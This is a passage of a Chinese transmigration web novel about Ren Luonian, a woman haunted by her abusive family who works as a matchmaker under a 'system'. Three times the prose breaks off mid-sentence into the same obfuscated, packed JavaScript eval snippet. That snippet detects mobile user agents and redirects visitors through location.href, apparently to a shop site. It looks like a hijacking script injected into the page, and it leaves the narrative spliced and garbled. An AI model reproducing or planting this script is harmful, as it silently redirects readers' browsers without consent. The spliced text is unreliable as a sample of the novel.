大爷像是等这句追问很久了,突然正色,高深莫测地看着他:“肯定跑了啊,这条乡下的小路又没有监控。” 还没说完随即又像想到了什么,继续压低声音补充:“不仅跑了,还把尸体丢在这里面。” 站在远处听的任洛年也随着他说的方向看过去,一片藤蔓类的草,中间有一个凹下去的地方,像是被人踩塌的。 “不过虽说那天晚上这个雨把地上的痕迹冲掉了,它也有好处,要不是这大风把草吹开,第二天早上那个路过的人也发现不了这里面丢了个人。” 任洛年一只手撑着旁边的行李箱一边听一边面无表情地想象着那天晚上暴雨中发生的事。 等看见他们差不多已经说完,她才站直身子准备往前走。还没迈出步就听见有个人唏嘘道:“唉,家里还有两个孩子呢,女儿今年才上大学,不知道家里人怎么办?” 怎么办?一个家里少了一个天天酗酒发疯的人才好办。任洛年在心里冷冷地哼笑了一声。 听见行李箱轮子在地上滚的声音,这一群人都看见往这边走来的任洛年。 认出她的人愣了一下,迎上前去,表情都透露着怜悯和同情:“小年啊,你是专门从学校回来的吧。节哀顺变,先回家去看看你妈,有什么需要帮忙的就跟我们这些街坊邻居说,放心开口。” 任洛年没说话,微抿着唇,眼睛里没有任何情绪,像一潭死水,听完只是点点头,随即继续往家里的方向走去去。 围在一起的人们看着她平淡的反应,像只是得知了一个毫不相干的人的死讯,心里有些纳闷地看着她拖着行李箱的背影。 门没关,任洛年还在远处就能看见透过敞开的大门看见江萍坐在木桌前。即使隔着一些距离也能感受她身上那种萎靡不振的颓丧气息。 直到任洛年走进门她也没转头看她一眼。任洛年从她面前经过时发现她只是盯着挂在对面的遗照,顺手放了行李箱。 心里叹了口气正准备往屋里走时,江萍突然对着她的背影说:“现在你高兴了吧。” 她发丝散乱,眼神都透着恨意,说这句话时的声音带着一种病态的质问。 骤然听见这句话,任洛年有些难以置信地顿在原地,她垂下头闭了闭眼,皱紧眉转过头看着江萍:“你说什么?” 一时难以接受这句话,像是在求证一般她再次问了一遍:“什么意思?” 江萍闭了闭眼,有气无力地开口:“他死了你不高兴吗?你不是早就盼着有这么一天吗?” 如果说刚才任洛年还可以骗自己江萍是悲伤过度说的胡话,现在这句话就成了压倒她的最后一根稻草,几乎是一瞬间,她感觉负面情绪蔓延到全身,眼眶温热了起来,浑身都在战栗。 她用尽最大的力气才控制住自己让语气听起来还算正常:“我不该高兴吗?” 江萍情绪很激动,转头用通红的眼睛看着任洛年:“你爸死了你这么高兴,你高兴什么?” 任洛年难以理解为什么这些年发生的任何事情明明江萍心里都清楚,但是现在还能对着本应是受害者的她说出这种话。 她心里突然升起一种很奇异的感觉,好像她们的母女关系里面出现了一个很陌生又突兀的词,背叛。 她看着江萍那双泛着血丝的眼睛,像是再一次妥协,语气平静:“我不是从学校赶回来跟你争这个的,随你怎么想。” 但是江萍看起来并不打算绕过这个话题,她站起身从茶几的柜子里拿了一个破旧的本子,看起来像是小学生写作业的方格本。在任洛年的目光中手有些颤抖地翻开,指着一页给任洛年看。 “这些都是你爸之前去南边打工的时候记的帐,每个月自己只留几十块钱,其他的钱全部寄回来,就是他一次次寄回来的钱给你买的奶粉。” “他每天工作十几个小时,就这样在那个连床都没有的工地待了几年才把你养大。” 她一边说一边用另一只手抹着纵横满脸的眼泪。 “不管怎么说,他为了这个家付出了那么多,你就这么恨他?恨到离家之前还要专门给他说这辈子都不会原谅他?” 任洛年只扫了一眼她手上的本子,随即垂眼把目光放在质问她的江萍身上。 “我很感谢他,但是永远都不会原谅他。” 说完继续任由江萍把情绪发在她身上,没再开口。等看江萍差不多情绪稳定下来了,她又当作什么事情都没发生过,继续帮忙操办后续的事。 在这个家里,她从来不会跟他们计较对错。并不是觉得他们是父母所以说的都是对的,而是心里非常清楚观念这个东西很难改变,他们永远不会反思,永远自以为是,她只是懒得计较。 这不是退步,是放弃,放弃了跟他们和解,甚至可以说永远不会有这么一天。就像她跟任全说的永远不会原谅他这句话不是为了发泄自己一时的不满来刺激他,或是换取他的愧疚,这只是她的真实想法。 至于他们给自己造成的伤害,说原谅做不到,说忘记也不可能。 任洛年对这个家庭最大的报复就是成为有缺陷的自己,自卑又自负,敏感又脆弱。有时候她感觉自己被困住了。即使已经到了远离他们的地方生活,她的身上还是带着烙印,从此变成一个失去爱与被爱能力的人,漫无目的又毫无希望地活着。 ……… 任洛年醒来之后听见外面传来淅淅沥沥的雨声,勉强睁开眼看了眼手机上的时间,从她睡着到现在居然才过了一个多小时。 因为做了一个漫长的梦,她感觉自己像睡了很久,于是揉揉了昏沉的头缓缓起身抱膝坐在柔软床上。 在梦里情绪会被放大,醒来之后反而没有什么感觉,但也没有任何困意了。 正百无聊赖地刷着手机,突然传来一个漫不经心的声音。 “抓到一个还没睡觉的宿主。” 这个声音毫无征兆的出现吓得任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464737|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛年差点把手机拿掉,她闭上眼拍了拍心口:“你下次出现之前能不能先提示一下,吓死我了。” 对方不紧不慢地回了一句:“你上次找我之前有提前告知过?” 看来对方不仅记得上次任洛年深夜吵醒他的事,甚至还隐隐有些要长久地记仇的意思,任洛年忍不住问:“主神这个身份是很闲吗?” 对方看起来想也没想就回答她:“是,闲到每天晚上会随机抽查一个区的宿主有没有睡觉。” “感觉这不太像主神,像宿管啊。” “宿管”本人被任洛年的钝感力气得笑了一声。 “那被你抽查到现在还没睡的会怎么样?” “扣任务的联系度。” 其他的还好,任洛年听见要扣联系度瞬间义愤填膺,打工人之魂熊熊燃烧。凭什么别人认认真真工作的结果被说扣就扣,果然不管在哪个时空,资本家都是不讲理的。 对方看着她隐隐有些愠怒的表情,勾起唇角,一时舍不得移开视线。 “看来你那个没用的系统什么都没告诉你。” 这已经是他第二次说01号系统没用了,好歹也是自己的搭档,任洛年反驳他:“我的系统哪里没用了,他帮了我很多,而且好歹是个区长。”虽然这个区只有一个人…… 不知道为什么,她感觉对面听完这句话心情都不好了,再开口时声音一改刚才的温和,冷了很多。 “就这么维护他?” 根据经验,任洛年把他这种突然的情绪转变归结为有些位高权重的人很不喜欢别人反驳自己,因为这会让他们觉得地位受到挑战。 但是那又如何,现实生活中对上司唯唯诺诺就算了,现在都来这里了,他能把自己怎么样。 小小主神,有何畏惧。 她正色看起来很严肃地回复到:“我说的是实话。” 对面的呼吸重了一些,沉默了一会儿开口:“迟早有天被你气死。” 不知道为什么这个主神的气点这么低,任洛年感觉自己也没说什么。 不过她很快兀自转移了话题:“所以你就是因为我不睡觉才专门来警告我?那如果还有其他宿主没睡觉呢?你也一个一个去威胁?” 说完她还想象了一下主神忙来忙去恐吓宿主睡觉的场景,还是觉得很奇怪。 “其他宿主不在我的管辖范围内。” 那什么意思?就管我? 她突然感觉自己天生就是被管的牛马命,倒在床上认命地说:“你怎么也跟我之前的领导这么像啊,抓着一个软柿子捏是吧。” 对方仿佛对她提起的人很感兴趣,问:“你之前的领导?” “对啊,他肯定可讨厌我了,跟你一样老是找我茬,明明是助理的工作让我做,我不想接的项目也让我接,开会就拿我的策划案做反面例子……” 她说着说着声音变得越来越低,变成字具黏糊的嘟囔,听不清到底在说什么内容,直到完全消失。 外面的雨渐渐有了偃旗息鼓的架势,声音变得微弱,偶尔有风吹过把树叶上的水滴吹落,发出细细簌簌的声音。 主神不知道什么时候出现在房间里的,此刻半蹲在床边静静看着任洛年陷在柔软被子里的睡颜。 发丝有些凌乱地遮住脸,但还是能看见她即使睡着也微微皱起的眉头。 他动作轻柔地撩开遮住脸的发丝,手指抚上她的眉间。 “怎么会讨厌你呢,蠢不蠢?” 18. 硬核澄清 和上一个世界线一样,在离婚的那一刻联系度直接增加了50。这样任洛年只需要再时不时给他们两个制造相处的机会就差不多了。 但是无奈他们两个都很忙,一个总裁一个导演,任洛年就这样天天腆着脸问他们到底什么时候有空。 在谢修远那边她还可以撒泼打滚一下,但是王菁那边她不好意思真的打扰她工作,只能偶尔冒个泡发个小猫表情包问她什么时候有空。对方问她有什么事她又不知道怎么开口,于是就这样等了很长一段时间。 这段时间她也没闲着,每天都往海边跑,她可以一天什么也不做,就这样坐在沙滩边从日出到日落。 系统看着夕阳下被照得朦胧的任洛年,问她:“就这么喜欢海边?” 天空中是翻滚的火烧云,海面上是翻滚的浪花,互相在天际映照着。 任洛年看着远方的海天交接处,试图找寻出它们之间颜色的细微差别,眼眸里只有这片海的颜色。 “我之前从来没到过海边,小时候以为是因为海很远所以爸妈不带我来,后面发现其实很近,近到我住校的时候他们能每个月都带我弟弟去。” 她的语气很平静,表情看不出多难过,像在讲述一个其他人的事。 她不是一个会把情绪外露的人,这一点导致她之前身边的很多朋友都说她没有感情,是个铁石心肠的人。只是她自己心里清楚这是因为之前情绪被忽视太多次,她已经学会自己带上坚硬的面具,不让任何人察觉面具之下真正的表情。 渐渐地发现这样真的有效,她好像真的从之前的敏感变得越来越麻木。面对外界的伤害已经学会了用自己的方式来应对,就是发疯外耗别人。 麻木是一种天赋,可以让人有抵御伤害的能力。只是她掌握得太迟了,之前的伤害早就在她身体里生根发芽,从心脏开始生长,枝叶蔓延到全身,最后药石难医。 系统听完之后沉默了很久,久到任洛年以为他不会再接下去。 本已经打算起身拍掉沙子之后离开,这时一个声音缓缓出现,混杂着湿咸的海风,就这样让任洛年停下动作。 “那就一个人看海。” “嗯?”任洛年微微歪头,对系统这句话表示有些疑惑。 “不带你看海是他们的事情,但看海本身是一件很美好的事情,不要因为他们而讨厌看海。” 看任洛年还是一副不理解的样子,他想了想,继续轻声开口补充道。 “我换个说法吧,就以剪头发为例子,如果你的父母不同意你现在的发型,并在掌控欲作祟下逼着你换一个发型,你实在受不了他们的控制,为了报复他们就一怒之下把头发剪得不堪入目,但其实这种做法并不会让他们意识到自己的错误并因此做出改变,反而后果都是你自己承担的,归根到底这只能算是对你自己的报复。” “不要因为他们的控制就把头发剪得乱七八糟,同样的道理,你的人生就像头发,不要因为他们的伤害就把你自己的人生过得一团糟。他们不会为你的人生负责,决定你之后怎么活的只能是你自己。” 他以往的语调都带着些漫不经心,这次却有着不同以往的认真,任洛年听完之后想了很久,在海浪即将溅到她的时候后退几步,头发随着后退的动作飞扬到一半又落下。 她笑了笑,说:“那我以后都一个人看海。” ------- 好不容易等到王菁手里的片子杀青,任洛年迫不及待地找她,结果发现她居然根本不打算休息,而是已经在开始找下一部电影的取景地了。 王菁看任洛年无所事事还时不时还骚扰她一下的样子,就让她也一起去了。 任洛年想着跟去就跟去,她总能找到一个机会把谢修远弄来。于是笑嘻嘻地加入她。 小山村环水而建,风景秀丽,旁边还有一座高山。 她就这样跟王菁一起当旅游一样在当地转悠,时不时拍点图片, 王菁本以为谢修艺是个讲究到大小姐这里的条件可能会接受不了,结果现在看来,她不仅不娇气,甚至可以称得上有点吃苦耐劳。 她们就这样在当地待了几天,在临走的前一天王菁提议在山顶上露营,第二天起来看日出。 任洛年听见她的提议有些疑惑,因为在她的印象里,王菁是一个注重效率的工作狂,不像是一个会把时间花费在这些东西上的人。 但是她看起来不仅不觉得耽误时间,反而充满了期待。 她和王菁忙碌了一下午,在树丛里搭建了一个帐篷,在帐篷外面摆了桌子,甚至带了做饭的工具。 山顶的夜晚是干冷,风吹过树叶簌簌地响,鸟虫的叫声不绝于耳,就像回到了小时候的夜晚。 王菁带的夜灯散发出暖黄色的光芒,映照出桌子旁边的范围。任洛年坐在旁边发呆,柔和的灯光描摹着她沉思的轮廓,看起来没有什么生气。 不知道想到了什么,她自己都没注意到自己叹了口气。 坐在旁边的王菁转头看她,有些不解:“叹什么气?” 任洛年回过神来,眨了眨眼,很自然地转移了话题:“你怎么想到在这里露营的?” 对方转过头看着自己手里被灯光映照得发亮的水杯,像陷入一段回忆。 “我一开始看图片的时候,就感觉这座山很像我老家,夜晚总是很安静,黑夜是真的黑夜,但是又让我感觉很安心。” 任洛年认真地听完点点头:“所以你是想家了吗?” 对方笑着摇摇头:“没有什么好想的,现在我唯一的亲人也被我带到身边跟我一起生活,老家的房子里现在没有人了,可能什么时候已经垮掉了都不知道。我只是......” 她说到这里停顿了一下,微蹙的眉头像是要找个最适当的说法,任洛年也耐心地等着。 “我只是很怀念。” “怀念?” “怀念那个时候挑灯夜读的时光。” 在一个山村长大,要考上很好的大学并且能在繁华的城市安家有多困难,任洛年心里比谁都清楚。她之前只是觉得王菁在行业里能做到那个地步很厉害,现在可以说更佩服她了。 没有旁人那么好的资源,却能凭自己的努力赶超出一大截,这其中付出的努力不是旁人可以想象的。 “那段时间很辛苦吧,为什么会怀念?我...额,如果是我,我应该不会怀念,只会庆幸自己远离了。” 对方带笑看着她的眼睛,像在看一个不懂事的小孩,轻声开口:“辛苦,但正是这种辛苦让我自己觉得有实感,太轻松就得到反而会惶恐和不踏实。” 她抬眼看了看远处黑压压的一片天际:“这种感觉就像,我看见很多年前的一个普通的晚上,月光像白炽灯一样明亮,小时候的我坐在家外面的坝子里,想着十年后的自己会是什么样。我现在终于可以告诉那个充满迷茫的小女孩,会很好,比你想象得还要好。” 她的声音沉静但是字句都和眼神一样坚定,任洛年一时看着她没移开眼。 比你想象得还要好,她心里默默重复了一遍。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534598|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沉默了片刻,像是带着不解,她问:“如果发现出去后的世界没有自己想得好,又没有任何退路的时候,不会觉得很无力吗?就,感觉什么都没有意义。” 说完她才反应过来自己说了多扫兴的一句话,尴尬地笑了笑:“我随口说的,你别当真。” 王菁不知道为什么她一个锦衣玉食的大小姐也会觉得生活没有意义,有些疑惑。但还是开始很认真地思考这个问题。 “没有意义吗?知道自己为什么而活就不会这样想吧,我兼职给自己赚学费是意义,第一次领工资带我奶奶去吃大餐是意义,拥有自己的第一部作品是意义。甚至可以说,每一件存在我生活中的事情都有,比如离婚,比如被同行排挤。” “意义这个东西,不是一件事情自带的,是自己赋予的。” 她说完看着任洛年一个人坐在原地没有动静,没有打扰她,默默回帐篷里躺着了。 她好不容易把冰冷的被子捂出温度,结果等任洛年回到帐篷的时候带着一身寒气钻进来,让被窝一下又冷起来了。她幽怨地看了对方一眼,对方也一无所知,只是嘴里嘟囔着好冷好冷。 任洛年一边说冷一边把手机掏出来,刚打开就大喊一声:“什么?” 王菁被她吓一跳,叹了口气问她:“怎么了?” 任洛年直接把那个看起来比老年人的屏幕还亮的手机举到她面前。王菁顿感眼睛胀痛,眯了一会儿才适应过来。 她皱着眉看着手机上的热点,是陈涛和谢修艺的照片,看起来举止亲昵有说有笑的。标题还写着王菁老公出轨娱乐圈小白花,疑似婚变原因。 任洛年不记得她在外面和陈涛约会过,这应该是原主和他约会的场景。但是那个时候原主还没有任何作品,谁会偷拍他们呢? 她心中隐隐有个猜测,但是需要让系统去验证。于是开始在脑内求助系统。 对方听完只说了一句话。 “20。” 任洛年闭眼认命地点点头,20就20,刚说完就被眼前的好感度数值吸引住了。 她对系统的好感度居然已经涨到80了。 她怀疑要不是系统说话那么难听,就这么些天帮自己做了那么多事,好感度还能再高点。 王菁看着旁边任洛年僵硬的身体,把手放她面前晃了晃,直到看见她眨了眨眼睛才松了口气。 “就这么害怕?” 任洛年有些呆滞地转头看她:“怎么办呀。” 罕见的,任洛年是真的有点害怕,她觉得不能因为自己让原主以后在圈子里走不下去。况且她之前对娱乐新闻都不是很关注,现在碰上这种情况脑子一片雾水。 王菁不知道她的胆子怎么时大时小的,挑眉看了她一眼:“怎么办,澄清啊,就现在。” “现在?” 只见她把手机拿出来,不知道点开了一个什么软件,然后就开始对着手机说话。 “大家晚上好啊。” 任洛年凑近看了一眼屏幕,发现她居然开始直播了。 可能因为正处于舆论中心,直播间的人数也在她开播后的几秒之后开始蹭蹭往上涨。 王菁一开始还在闲聊,后面看见人数已经够多了的时候才开始切入主题。 “知道大家现在最想知道的是什么,我今晚突然上线就是想给大家一个答复。” 说完她话音一转:“那么现在先给大家介绍一下现在我身边的人。” 然后毫无征兆地把手机屏幕对着旁边一无所知的任洛年。 19. 理想型 突然被迫出镜,任洛年被吓得把头往后缩,结果被王菁用一只手按回到屏幕前。 她有些惊恐地看着上方显示的直播间人数,像一只被抓住后脑勺的小狗,第一反应就是逃跑。 但是在看见屏幕上是谢修艺的脸的时候反应了一下,随即又表演了一个变脸,从惊恐变到很不自然地笑着说:“大家好啊,我是谢修艺。” 她说完就被屏幕上的弹幕吸引,满屏的小三,她盯着那些骂得越来越不堪入目的词语,微微皱起眉。 转头看了眼旁边的王菁,对方像是懂她什么意思一样点点头。 刚好这时候系统也回复了,他查清楚了,照片的事就算陈涛搞的鬼,而且他那里还有其他的照片。 所以任洛年在很短的时间内思考了一下,在是说实话和编一个更能全身而退的理由,比如和陈涛只是在谈合作或者那张照片是被人恶意p出来的,这两者之间做了一下抉择。 没想多久她就可以笃定自己必须要选前者,说谎话一对不起王菁的信任,二是因为陈涛手里说不定有更亲密的照片,如果照片再次曝光她跳进黄河也洗不清了,还多了一个欺骗公众的罪名。 于是她像那天跟王菁讲述一样,开始讲被陈涛欺骗的过程。因为讲述得非常生动,像跌宕起伏的故事一样,中途还有人刷礼物。 之前晚上睡不着的时候任洛年就会看一些土味直播,看见突然占满屏幕的礼物,她像是形成肌肉记忆一般想都没想就对着屏幕说:“感谢宝宝送的礼物,额不是,家人们,不要刷礼物,再刷就踢出去了。” 就这样跌跌撞撞好不容易讲完,她把手机递给王菁。对方也帮着解释了几句:“我和陈涛的婚姻确实破裂了,但是这一切都是因为他做了让我失望的行为。谢修艺也是受害者,她主动找我说明并且在我离婚的过程中提供了很多帮助,我们现在是关系很好的朋友。” “好了,这些就是你们想知道的真相,时间不早了,大家早点休息。下次见。” 她说完就顺手关掉了直播。 要是任洛年一个人开直播说这些可能还不会让人信服,但是事件的另一位主角王菁也在帮她解释,甚至眼尖的网友看到她们两个好像睡在一个被窝。 如果谢修艺真的插足了王菁的家庭,她们怎么说关系也不会好到这个地步。于是这件事情就这样不了了之了。 任洛年躺在被窝里,看着旁边面无表情的王菁。明明是自己的家事,但是还要自己拉到公众面前说,无疑是一种揭开自己伤疤的行为。她心里有些愧疚,没有缘由的愧疚。 看见她那副同情的眼神,王菁都不用问就知道她想说什么,转头看她. “不用谢我,我这么做是因为你刚演了一部我的剧,要是这个时候出事,我也受影响。” 听她这么说,任洛年反而没那么难受了。点点头,然后就乖乖闭上眼睛睡觉了。 刚闭上眼就听见手机的铃声响起,她啧了一声把手机掏出来,看见屏幕上大大的谢修远。 她按下接听键的一瞬间就被对方的声音吓了一跳。 “谢修艺,你现在在哪里?” 帐篷里很安静,只有手机里传来的谢修远阴沉的声音。 任洛年听见之后赶紧坐起来,对着电话那边的人说:“哥,我在这个这个,什么山顶,哦对,我和王菁在一起,你就放心吧。” 谢修远站在谢修艺的公寓门外,一边看着紧锁着的门一边给她打电话。 “你可真能找事,下午刚开完会爸妈就把我的电话打爆了,你倒好,直接跑去躲着了。” 任洛年感觉他语气有抑制不住的怒气,于是放缓语气安抚他;“哥,我发誓我不是逃避,这个事情很突然啊,而且这个照片是很早之前的,我上次跟你说和他断了之后就再也没有联系过了。” “要是你不相信我的话...” 她说到这里隐隐约约看见外面一直有个人影走来走去,一开始她以为是树影,直到眯着眼仔细看了之后好像就是有一个人在帐篷外面。 眼看着对方越来越近,她赶紧拍了拍旁边的王菁然后指向那个人影。 王菁看见之后摇摇头,让她先不要打草惊蛇。 “怎么了?”谢修远听见她一直没有回复,有些担心。 任洛年想了想,先挂断了电话,然后屏息看着王菁往帐篷的入口移动。 王菁不知道对方的具体位置,但是刚掀开拉链就被一张在帐篷面前窥视的脸吓了一跳。 她手颤动了一刹,强行使自己镇定下来,用还算平稳的语气问:“干什么?” 对方笑了几声之后开始自顾自地说道:“我就说听见声音了,看来耳朵没出问题。” 他皮肤黝黑,身材看起来也很强壮,像是锻炼过的。但是任洛年看着他一边说话一边往帐篷里瞟的眼神,隐隐有种很不详的预感。 她往他身后一看,居然还有其他人,看样子他们是一起的。那个人见状也往前来,语气轻佻地开口:“两位美女,我们也是来野营的,要不要出来一起喝个酒。” 王菁拿出那副和在工作里一样拒人于千里之外的样子,轻咳一声,开口:“不好意思,我们要休息了。” 那两个人居然就这样直接凑到帐篷边上,看样子就要直接坐下,任洛年看见他们离王菁越来越近,一时心急,把王菁往帐篷里面拉,然后自己走到口子上。正准备开口她就被一个人往里推到帐篷里。还没反应过就听见脑子里穿来熟悉的声音。 “拉链拉好。” 是系统。 她拉拉链的时候还悄悄往外看了一眼,系统穿着白衬衫,背对着帐篷,很高,肩膀也很宽。全程好像没有什么大动作,但是那那个男人好像就这样倒下了。 在看他要转头过来的那一刻任洛年赶紧拉上拉链。 背影有点帅,她脑子里默默想着。 “已经解决了,放心睡觉吧。” 任洛年点点头,转头跟一头雾水的王菁说:“他们应该是喝醉了,我看见他们的朋友来把他们带回去了。” 刚准备躺下的时候电话又响起来了,任洛年看见是谢修远打过来的时候灵机一动,于是接通电话之后就拿出演技,开始假装很害怕的样子:“哥,帐篷外面好像一直有人,怎么办呀?” “你们现在在哪里?具体地址。” 任洛年给他说了具体的位置,这里的山顶本来就是一个露营基地,只是现在算是废弃了,但是在地图上还能找到。 对方留下一句:“保持联系,别挂断,我马上过来。” 一路上对方没怎么说话,只是偶尔问一下她们的情况。 任洛年跟王菁在被窝里聊着天,偶然一抬眼发现还有人影在帐篷外面,她歪头去仔细看了看。 系统像是看到了她的动作,语气平淡地说:“是我。” 任洛年正准备询问系统为什么他还在,就听见他不咸不淡地开口:“等你哥来了我就走。” 任洛年听完点点头。 这里虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547418|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说是乡下,但是离市中心距离也不远,走高速两三个小时的车程。 她和王菁说着说着自己都不知道自己睡着了,王菁也没叫她。 等感觉外面有光照着帐篷的时候,王菁小心翼翼地挪到帐篷口,悄悄打开一个缝隙。 来人穿着黑色的冲锋衣外套,手里拿着一个手电。 是谢修远。 王菁和任洛年不同,她是真的不清楚等下会不会还有危险,所以还一直处于提心吊胆的阶段。 在看见谢修远的那一刻,她感觉悬了很久的心终于放下了,松了一口气。 看她要起身,对方很礼貌地只拉着她的衣袖把她拉起来。 “你们没事吧?” 谢修远半蹲在帐篷口问她,眼神带着些疲惫。平时打理地一丝不苟的头发看起来也被吹得有些凌乱。 “没事的。” 王菁移开放在他身上的视线,随即把视线转到身后的任洛年身上。谢修远也望着她看的方向,哼笑了一声,那个没心没肺的丫头还睡得挺熟。 任洛年其实早就醒了,现在一直在装睡,想着他们两个能多聊一会儿。直到谢修远故意对着她的方向说:“那就让她睡,我们先走了。” 说完就做出要走的动作,任洛年只能垂死病中惊坐起。 她顶着蓬松混乱的头发,幽怨地喊了一声:“哥!” 王菁看着他们两个笑了笑,心想不愧是亲兄妹。 在回去的路上,任洛年为了给他们制造话题可谓是无所不用其极,先是通过问话让谢修远主动说出他的个人信息。 “哥,你今年多大来着?” 对方啧了一声,一边开车一边不耐烦地回复:“27。” 任洛年转头对旁边的王菁说:“真年轻是吧。” 王菁感觉有些莫名其妙,但还是配合她点点头。 “那你现在多高?” 谢修远瞥了一眼后视镜,看见谢修艺一脸认真的表情,他歪了一下头问道: “谢修艺,我们之前是网友吗?” 任洛年把撒泼打滚那套拿出来:“我忘记了,先别管,你先说嘛!” “187。” 她看向旁边憋笑的王菁:“还挺高的是吧。” 不知道她到底要干什么,但是这个场景让王菁忍俊不禁地捂着脸。 “哥,那体重呢?或者更具体一点,三围什么的?” 谢修远感觉她这问一句给王菁重复一句的样子像在跟买家汇报商品信息,阴森森地开口:“不喜欢坐车就给我滚下去。” 任洛年闻言收敛了一点,但只是一点,随即她开始切入主题。 “那哥,你的理想型是哪种?” 眼看着对方叹了口气,她立马安抚:“就这一个问题了,问完保证不会烦你了。” “跟你不一样的。” 任洛年听完愣在原地,一时不知道怎么回。王菁再也忍不住了,直接笑出声来。 任洛年哼笑一声:“呵,怪不得你这么大了还没对象。” 说完她又转头看向王菁:“那你呢?有没有什么理想型。” 王菁骤然被问到这个问题还是顿了一下,她确实没想过这些,于是她按着心里想的随口一说。 “有责任心,对婚姻忠诚,其他的都不太重要,主要是品德修养要好一点。” 任洛年一听,这稳了啊,但是她不是那种不分青红皂白就说一些让他们双方尴尬的话的人,所以只是笑了笑。 20. 月夜 接下来的几天,任洛年还是像之前一样时不时找机会让他们两个见面。联系度也在稳步增加,很快就到了80。 她感觉谢修远和王菁已经算得上是朋友了,但是她琢磨不透他们现在对对方到底是什么样的看法。 她旁敲侧击地问过谢修远:“哥,你感觉王菁她怎么样?” 谢修远每次听见都会敲一下她的头,让她别操心大人的事。 她也问过王菁:“王导,你觉得我哥他怎么样?” 对方也是含糊其辞:“他是一个很好的人。” 任洛年听完又陷入迷茫,既然当事人都这样说,她也不能老是腆着脸去打探别人的隐私。 正一筹莫展的时候,她被谢修远叫回家吃饭。本想直接拒绝,但是谢修远给她下了最后通牒,说她再不回家以后就永远不要回了。 任洛年只能硬着头皮答应了,在回去的路上一直给自己做心里建设,想着只要扮演成谢修艺就可以了。 结果在回家的时候还是被谢家父母的热情打得个措不及防。 任洛年刚进门就被谢家父母围着,一会儿说要让她试试给她新买的衣服,一会儿又让她吃妈妈亲手做的菜。她只能尴尬地笑笑。 吃饭的时候话题也一直围绕着她,问她为什么那么久不回家。 谢修远虽然嘴上说她,但是还是帮她解围,说她拍戏太忙了。 结果他这一帮倒是把自己陷进去了,谢家父母开始把话题往他身上引。 “你也老大不小了,怎么还不带个女朋友回家。” 这话一出,全桌人的目光都看向他。 谢修远把筷子轻轻放下,叹了口气,一副无奈的样子开口:“妈,这种事情是能催的吗?” 虽然任洛年也这样觉得,但是她的任务必须要知道谢修远现在是个什么态度。于是吃完饭之后她悄悄在一旁试探地问谢修远:“哥,你为什么这么多年都没过谈恋爱。” 对方只是翘腿看着电视,头也没转地说:“哪有什么为什么,不想谈。” 不想谈怎么会被选成男主,任洛年还是不死心,再凑近一点问:“那连喜欢的人也没有?” 谢修远刚才还是直直地看着电视,听完这句话转头瞥了任洛年一眼,没说话。 没回答就是默认。 “那,这个人是不是......” 对方好像知道她要说什么,直接打断。 “不是。是你不认识的人。” 听完之后任洛年微微挑起眉毛,连忙在脑内呼叫系统。 “这给我的都是什么任务?男主有白月光还让我帮助他和别人在一起,太缺德了!” 系统沉默了片刻,开口:“你怎么确定他的白月光不是女主。” 任洛年听完他的话冷静了一点,如果这个白月光是女主的话,那一切就更好办了。不过她需要先核实一下这些信息。 “那我能不能先获取这些......” “80。” 她话还没说完对方就已经把价格告诉她了,虽然这个价格高得离谱,但是她想着这个就是任务成功的关键节点,该花的钱还是得花。 况且现在她对系统的好感度已经到90了,花完还剩10呢。 于是她狠下心来,干脆地说:“80就80。” “看来好感度很充裕?” 听见这话,任洛年立马反应过来对方是诈她的,故意说一个虚高的数值想试出她还有多少好感度。 这个系统真是五毒俱全,任洛年无言以对。不过转念一想,好感度又不是什么羞耻的事情,她敢肯定她对系统的好感度不是那种男女之间的好感,最多算对朋友或者同事的,就算被知道也没关系。 最后她只花了20好感度就从系统手里买了这段信息。 晚上,等和谢父谢母聊完天,她回到房间,然后坐在床边闭着眼睛接收信息。 她刚闭上眼就感觉自己已经通过时空隧道进入了另一个时空。 等感觉双腿落到实处的时候,她发现自己在一个山村的大坝里,旁边是一个灰白的小房子,门口写着村委办事处。 这里的坝子是水泥地,但是看起来长了很多青苔,旁边的娱乐设施看起来也积了很多灰。 周围有很多人,但是他们像是看不见任洛年。小孩们从她身边跑过,有的甚至直接穿过了她的身体。 看她睁大眼睛的样子,系统说:“正常现象,不用害怕。” 任洛年听见之后笑了起来:“没有害怕,第一次做鬼有点新奇。” 她试着用手触摸自己,发现甚至自己的手都会穿过去。就这样玩了一会儿。 她正玩着,突然看见一辆黑色轿车开进这个水泥大坝里。虽然任洛年并不认识很多车,但也一眼认出了这个价格不菲的车标。 随即有一对夫妻和一个小男孩从车上下来。 她仔细一看,这对年轻的夫妻是谢家父母,那个小男孩应该就是谢修远。 他穿着色调偏暗的衣服,头发小小年纪就打理得一丝不苟,看起来和现在差别不大。只是那个时候可能还在换牙,一说话就能看见他还缺的门牙。 